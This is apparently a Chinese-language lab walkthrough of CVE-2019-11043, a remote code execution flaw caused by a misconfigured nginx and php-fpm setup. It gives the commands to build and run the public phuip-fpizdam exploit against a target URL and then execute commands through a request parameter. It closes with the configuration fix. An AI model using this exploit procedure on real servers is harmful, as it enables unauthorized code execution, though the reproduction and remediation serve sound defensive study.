一.漏洞介绍
nginx + php-fpm 配置不当,当nginx配置文件中有fastcgi_split_path_info
,却没有if(!-f $document_root$fastcgi_script_name){return 404;}
的时候就会导致远程代码执行。
二.漏洞详情
1>
构造环境,p牛这边已经有了,我们就直接用
https://github.com/neex/phuip-fpizdam
正常访问如下
2>
要有go环境,没有go环境的话使用下面命令安装go环境(我用的是kali)
apt-get install golang -y
3>
我们从github上下载exp
git clone https://github.com/neex/phuip-fpizdam.git
4>
cd phuip-fpizdam
go build
执行上面命令后,目录下就会生成 phuip-fpizdam 文件
5>
执行命令
./phuip-fpizdam http://xxx:8080/index.php
出现如下就代表成功了,这时候我们再去执行命令(参数名为a)
6>
命令已经执行成功了(注意:这边可能要执行好几次,命令才能成功,因为这是php-fpm的子进程受到污染)
参考文章:
https://github.com/vulhub/vulhub/tree/master/php/CVE-2019-11043
https://github.com/neex/phuip-fpizdam
三.修复建议
如果配置文件有fastcgi_split_path_info
,就加上if(!-f $document_root$fastcgi_script_name){return 404;}
,如果没有,则无需修改。